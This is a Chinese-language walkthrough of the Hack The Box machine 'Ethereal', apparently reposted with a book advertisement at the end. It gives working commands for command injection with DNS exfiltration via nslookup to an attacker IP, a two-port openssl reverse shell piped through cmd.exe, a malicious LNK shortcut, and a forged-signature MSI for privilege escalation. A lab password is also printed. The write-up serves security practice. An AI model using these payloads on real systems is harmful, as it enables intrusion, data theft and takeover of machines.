内容简介:大家好,Ethereal这道题目非常有趣,主要考察对openssl的灵活应用。在HTB平台上,这题的难度评级也是非常高的,通关一次能学习到非常多的知识点,建议大家尝试一下。16位程序模拟器DOSBox
前言
大家好,Ethereal这道题目非常有趣,主要考察对openssl的灵活应用。在HTB平台上,这题的难度评级也是非常高的,通关一次能学习到非常多的知识点,建议大家尝试一下。
知识点
16位程序模拟器DOSBox
nslookup信息外带
利用openssl反弹shell
LNK攻击
MSI安装包的制作与签名
Ethereal实战
跳过端口扫描,相信这对大家来说没有什么难度,直接入手线索文件。
1.Ftp匿名登录
利用匿名账户Anonymous登录,可以发现FDISK.zip压缩文件,下载前将传输模式切换到binary,否则经常因为网络因素导致下载失败。
2.解压FDISK.zip
解压后,拿到一个镜像文件。利用file命令识别,发现这是一个FAT格式的磁盘。利用mount -t vfat /root/FDISK /mnt/htbdisk挂载磁盘,从中取出pbox.dat和pbox.exe两个文件。安装好xp虚拟机并双击运行pbox.exe发现这是一个16位应用程序,并不能直接运行。
3.DosBox模拟器
16位程序模拟器很好找,DosBox是目前最有名的一款,很多当年的街机游戏都可以运行,像是波斯王子、坦克大战啊,这些我都还没通关…进入pbox首先执行挂载mount c c:pbox,将此c:pbox文件夹挂载为pbox的c盘,这样就可以在pbox中看到pbox.exe。但是直接运行还是会报错如下:
这可能是版本兼容的问题,好在kali环境下也能安装DosBox(apt-get install dosbox),但因为Dos保护模式的原因,可能会报一个类似< no DPMI – Get csdpmi*b.zip > 的错误。解决方式可以参考: https://www.linuxtopia.org/online_books/linux_tool_guides/the_sed_faq/sedfaq5_004.html 解决问题的核心关键就是下载CWSDPMI.EXE然后扔到pbox.exe目录下,就可以正常运行pbox.exe了。
密码很简单,就是password,完全靠猜。进去之后是一个数据库,点击相应的表项就能看到相关内容,从中可以导出一堆的用户名密码,其中有效的组合是:
user: alan
password: !C414m17y57r1k3s4g41n!!
4.登录8080端口
获取的用户名密码可以用于登录8080端口,这是一个Test Connection页面,根据Ping Address提示,不难想到这是一个命令注入漏洞。
5.结合nslookup成功执行命令
需要解决的问题是如何查看回显,在 linux 环境中常用的是ping -p 外带,但是windows的ping命令并没有-p选项,因此唯一能用的是nslookup命令,结合tokens参数,筛选需要的命令结果,同时需要利用cmd脚本的for循环来反馈结果。例如,我需要看netstat -ano结果的第二行,即所有ip和端口结果,在web中输入的命令为:
127.0.0.1 | for /f “tokens=2” %I in (‘netstat -ano’) do nslookup %I 10.10.8.8
有关for /f的脚本循环体介绍可以看 https://www.youtube.com/watch?v=jMS6LkMdAHI
tokens参数能够级联,比如我想看结果的1至6行,只需要添加tokens=1,2,3,4,5,6和相应占位符%a.%b.%c.%d.%e.%f即可,如:
127.0.0.1 | for /f “tokens=1,2,3,4,5,6” %a in (‘type c:xxxxx.txt’) do nslookup %a.%b.%c.%d.%e.%f 10.10.8.8
在web端执行命令注入后,启动tcpdump或者wireshark都是可以的,过滤dns即可看到命令回显:
(下图运行的是tasklist,因为nslookup在失败时会执行2次查询,所以结果会有重复)
6.枚举防火墙规则
利用多个反弹脚本获取 shell 均失败,因此想到枚举防火墙规则。netsh advfirewall firewall show rule name=all是查看windows防火墙规则的命令,但在该RCE环境中无法正常执行,因此需要找到一处可写路径,将结果转储成文件,再用type方法将内容取回。通常c:userspublic目录是权限最低的路径,但是直接写入是失败的,尝试利用icacls命令对目录权限进行枚举,最终发现当前用户alan可以写入C:userspublicdesktopshortcuts,最终读取防火墙配置:仅允许TCP 73和136端口通信。
枚举权限:
127.0.0.1 & for /f “tokens=1,2,3,” %a in (‘icacls c:userspublicDesktop*. /findsid alan /t /c /l’) do nslookup %a.%b.%c 10.10.8.8
同时,继续搜索系统中的蛛丝马迹,利用dir检索C盘,最后在C:Program Files (x86)目录下发现安装有Openssl-v1.1.0版本,我们将利用它实现shell。
能显示较完整dir结果的命令:
127.0.0.1 & for /f “tokens=1,2,3,” %a in (‘dir /B “C:userspublicDesktopShortcuts”‘) do nslookup %a.%b.%c 10.10.8.8
7.openssl初探
openssl的CS工作模式对于我来说并不熟悉,因此首先在本地构建模拟环境,官网 https://www.openssl.org 可以查阅命令参数,和下载源码,但没有安装包。各版本的安装包可以通过 http://slproweb.com/products/Win32OpenSSL.html 下载。安装过程就是一路next不再赘述。
8.openssl证书生成及服务器搭建
openssl服务器用于接收反弹shell。在kali端首先搭建openssl server你需要一个私钥和一本证书,因此运行命令:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
随后有一些证书信息需要填写,随意就行,格式对就没问题,例如电子邮件,国家简写
对命令参数有疑问的可以参考IBM文档:
9.第一个反弹shell
利用目标机openssl的s_client连接kali服务器。在模拟环境中测试发现,openssl的工作有些像没有-e选项的nc,你输入什么,对方就显示什么,并不能执行命令。由此可以想到利用管道符重定向输入和输出,也就是将一个openssl的连接通过管道符“|”重定向给cmd.exe,再用一个管道符“|”将运行结果重定向给openssl的另一个连接。简而言之就是:
openssl s_client 1 ——>input | cmd.exe | openssl s_client 2 ——>output
这也是为什么防火墙规则要放行两个端口的原因。
转化为web端的RCE命令即:
10.10.8.8 | C:Progra~2OpenSSL-v1.1.0binopenssl.exe s_client -quiet -connect 10.10.8.8:73 | cmd.exe | C:Progra~2OpenSSL-v1.1.0binopenssl.exe s_client -quiet -connect 10.10.8.8:136(RCE命令)
注意在实际攻击目标时,我们要同时开两个终端,一个openssl server 73和另一个openssl server 136,服务端监听命令:
openssl s_server -quiet -key key.pem -cert cert.pem -port 73
openssl s_server -quiet -key key.pem -cert cert.pem -port 136
我在73端口的终端里输入命令并回车,然后在web端提交上述RCE命令将输入压入管道,在136端口的终端里查看结果:
10.alan桌面的线索
在获取一个低权限的shell以后,我们能在c:usersalanDesktop路径下拿到下一步的线索。他告诉我们,在Public Desktop路径中存在一个VS的快捷方式,让我们利用它。
11.LNK攻击
根据线索,这是一个很典型的LNK攻击。LNKUp是利用windows快捷方式执行命令的恶意快捷方式生成器。项目地址: https://github.com/Plazmaz/LNKUp
命令格式:
python generate.py —host localhost —type ntlm —output out.lnk —execute
“C:Progra~2OpenSSL-v1.1.0binopenssl.exe s_client -quiet -connect 10.10.8.8:73|cmd.exe|C:Progra~2OpenSSLv1.1.0binopenssl.exe s_client -quiet -connect 10.10.8.8:136”
生成后的恶意快捷方式如下,你可以看到需要执行的命令在快捷方式目标栏处。
上传恶意快捷方式,并覆盖c:userspublicdesktopshortcutsVisual Studio 2017.lnk。需要注意直接上传.lnk文件可能失败,可以重命名为.txt后缀上传。上传过程同样利用管道,但必须先断开原始连接。
kali 运行:openssl s_server -quiet -key key.pem -cert cert.pem -port 73 < 恶意.txt
web运行:10.10.8.8|C:Progra~2OpenSSL-v1.1.0binopenssl.exe s_client -quiet -connect 10.10.8.8:73 > c:userspublicdesktopshortcutsout.txt(注意上传成功后改回后缀)
重新建立shell连接
shell运行:del “c:userspublicdesktopshortcutsVisual Studio 2017.lnk” & copy “c:userspublicdesktopshortcutsout.lnk” “c:userspublicdesktopshortcutsVisual Studio 2017.lnk”
12.拿下User Flag
覆盖LNK成功后,会在很短的时间内获得一个新的shell,在这个shell中,不需要依赖web,可以直接在73端口输入,在136端口中查看结果,操作顺畅不少,在jorge用户桌面拿到user.txt
13.D盘中的新线索
继续搜索可以发现,D盘存在两个可疑文件夹,一个是Certs,里面保存有证书文件,另一个是DEV文件夹,里面保存了另一条线索文件。这条线索很好理解,只要生成一个恶意msi安装包放到这个路径下,Rupal用户就会来点,结合证书文件,这很可能是要生成一个签名后的msi。
14.获取证书
直接type证书文件会得到乱码,无法拷贝。目前我们也没有下载渠道,因此想到利用openssl的base64编码功能,将内容打印出来,命令如下:
C:Progra~2OpenSSL-v1.1.0binopenssl.exe base64 -in MyCA.cer
C:Progra~2OpenSSL-v1.1.0binopenssl.exe base64 -in MyCA.pvk
将base64编码后的文本拷贝到kali,并利用base64 -d解码还原。
15.生成恶意msi
我们利用EMCO MSI Package Builder的图形化界面来操作。先新建工程,然后点击Custom Actions,在右侧Pre & Post Actions中右键新建动作,填写反弹命令后就可以Create MSI Package了。(密码留空)
16.对msi签名
利用下载的证书对msi进行签名。这需要用到 .NET Framework 4 和winsdk,它们可以在以下地址下载:
.NET Framework 4 : https://www.microsoft.com/en-us/download/details.aspx?id=17851
winsdk: https://www.microsoft.com/en-us/download/confirmation.aspx?id=8279
安装好后,就可以开始签名了,命令依次如下:
makecert -n “CN=Ethereal” -pe -cy end -ic C:MyCA.cer -iv C:MyCA.pvk -sky signature -sv C:hack.pvk C:hack.cer
pvk2pfx -pvk C:hack.pvk -spc C:hack.cer -pfx C:hack.pfx
signtool sign /f C:hack.pfx C:shell.msi
如果签名成功,可以看到Successfully singed提示
17.上传恶意msi
将签名后的msi上传至d:devmsisshell.msi,然后退出73和136的两个openssl连接,重新监听它们,大约1分钟的时间,rupal用户的shell就会上线,可以在他的Desktop路径下读取root.txt
18.备注
若一次部署msi没有成功,需要尝试第二次,必须重新生成一个msi并签名上传,因为安装过了的msi在系统中已经注册,不会再运行一次了,你可以从控制面板的添加删除程序中看到它们,但现在在这个环境里我们没有办法卸载之前安装的msi。
结语和感悟
就个人而言,我感觉Ethereal的难点在于如何想到双端口反弹shell,跨过这个槛,我也在htb的论坛上请教了不少朋友,大家集思广益从防火墙策略等一系列线索出发分析、思考,当然也少不了本地模拟环境的搭建和尝试,所以交流很重要,勤动手多实践才是出真知的唯一途径。
最后希望有兴趣的同学一起来HTB,若有问题和不对之处大家可以简书“小猪配不齐”告知。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
计算机程序设计艺术・卷3
[美] 高德纳(Donald E. Knuth) / 贾洪峰 / 人民邮电出版社 / 2017-2 / 198.00元
《计算机程序设计艺术》系列被公认为计算机科学领域的权威之作,深入阐述了程序设计理论,对计算机领域的发展有着极为深远的影响。本书为该系列的第3卷,全面讲述了排序和查找算法。书中扩展了卷1中数据结构的处理方法,并对各种算法的效率进行了大量的分析。一起来看看 《计算机程序设计艺术・卷3》 这本书的介绍吧!